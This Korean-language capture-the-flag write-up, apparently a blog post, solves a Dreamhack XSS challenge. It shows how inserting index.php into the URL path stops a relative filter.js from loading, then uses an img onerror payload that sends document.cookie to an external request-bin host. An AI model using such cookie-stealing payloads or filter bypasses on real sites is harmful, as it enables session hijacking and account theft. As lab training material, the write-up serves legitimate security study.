[ 문제 풀이 ]
- 초기 화면입니다.
- 총 3개의 메뉴가 있고 순서대로 들어가보겠습니다.
- vuln page 페이지이며 파라미터에 dreamhack 입력값이 주어져있습니다.
- 파라미터의 값을 변경시켜보았고 태그를 삽입해보았습니다. nope !! 이라고 뜬 걸 보니 필터링 기능이 있는 듯 합니다.
- 역시나 확인해보니 filter.js 가 존재하는 것을 볼 수 있습니다.
- 여기서 주목해야 할 코드는 바로 아래와 같습니다.
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
- filter 의 typeof 가 'undefined' 가 아니면 필터링 기능이 실행되는 겁니다.
- 그렇다면 filter 의 typeof 를 'undefined' 로 만드면 되는걸까? 생각을 하면서 계속 나아갑니다.
- report 페이지입니다. 여기서 경로를 이용하여 링크를 삽입하는 걸 겁니다.
- 이제 다시 Vuln page 로 이동하여 filter.js 가 어떻게 해야 제대로 작동되지 않을까 생각해봅니다.
- 경로에 index.php 를 삽입하였더니 filter.js 가 제대로 작동되지 않는 모습입니다.
- 왜냐하면 원래는 host3.dreamhack.games:11495/vuln 페이지로 바로갔지만 index 를 거치면서 vuln 페이지는 원래 페이지가 로드가 되었지만 filter.js 는 vuln 과 같은 경로에 있는 파일이였는데 index.php/filter.js 되었으므로 제대로 로딩되지 않은 것입니다.
- 이제 필터링이 제대로 동작되지 않으니 xss 를 시도할 수 있습니다.
index.php/?page=vuln¶m=<img src=@ onerror=location.href="https://ggpopkn.request.dreamhack.games/"%2bdocument.cookie>
- 위와 같은 페이로드를 작성하여 report 페이지에 제출합니다.
- 그리고 이렇게 플래그를 획득할 수 있습니다!
'TeamH4C' 카테고리의 다른 글
[빡공팟 5기] W8 : (1) error based sql injection Write-up (0) | 2022.11.13 |
---|---|
[빡공팟 5기] W7 : XS-Search Write-up (0) | 2022.11.06 |
[빡공팟 5기] W7 : CSP Bypass Write-up (0) | 2022.11.06 |
[빡공팟 5기] W7 : XSS Filtering Bypass Write-up (0) | 2022.11.06 |
[빡공팟 5기] W6 : DVWA 실습 - 라이트업 링크 모음 (0) | 2022.10.30 |